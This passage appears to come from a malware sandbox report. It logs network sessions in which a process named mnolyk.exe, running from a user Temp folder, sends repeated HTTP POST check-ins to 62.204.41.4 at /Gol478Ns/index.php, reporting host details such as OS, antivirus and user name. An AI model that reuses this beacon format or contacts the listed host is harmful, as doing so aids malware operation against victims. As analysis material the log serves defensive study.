Feb 6, 2023 18:37:15.797847986 CET	731	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
279	192.168.2.7	50006	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:15.979490995 CET	732	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:16.047143936 CET	732	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.7	49752	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:04.410535097 CET	460	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:04.474786043 CET	460	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
280	192.168.2.7	50007	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:16.259881020 CET	733	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:16.324100971 CET	733	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
281	192.168.2.7	50008	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:16.510742903 CET	734	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:16.574184895 CET	734	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
282	192.168.2.7	50009	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:16.756198883 CET	735	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:16.821732044 CET	735	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
283	192.168.2.7	50010	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:17.037592888 CET	736	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:17.105997086 CET	736	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
284	192.168.2.7	50011	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:17.285007000 CET	737	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:17.352391958 CET	737	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
285	192.168.2.7	50012	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:17.535419941 CET	738	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:17.602504969 CET	738	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
286	192.168.2.7	50013	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:17.791987896 CET	739	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:17.858150005 CET	739	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
287	192.168.2.7	50014	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:18.030709982 CET	740	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:18.095983982 CET	740	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
288	192.168.2.7	50015	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:18.281532049 CET	741	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:18.347068071 CET	741	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
289	192.168.2.7	50016	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:18.532773972 CET	742	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:18.598366022 CET	742	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.7	49753	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:04.648624897 CET	461	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:04.715003014 CET	461	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
290	192.168.2.7	50017	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:18.799280882 CET	743	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:18.864867926 CET	743	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
291	192.168.2.7	50018	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:19.057348967 CET	744	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:19.123569012 CET	744	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
292	192.168.2.7	50019	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:19.314760923 CET	745	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:19.379559040 CET	745	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
293	192.168.2.7	50020	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:19.544836998 CET	746	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:19.609977961 CET	746	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
294	192.168.2.7	50021	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:19.783406973 CET	747	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:19.847878933 CET	747	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
295	192.168.2.7	50022	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:20.029901028 CET	748	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:20.095199108 CET	748	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
296	192.168.2.7	50023	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:20.267374039 CET	749	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:20.332250118 CET	749	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
297	192.168.2.7	50024	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:20.506098032 CET	750	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:20.569529057 CET	750	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
298	192.168.2.7	50025	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
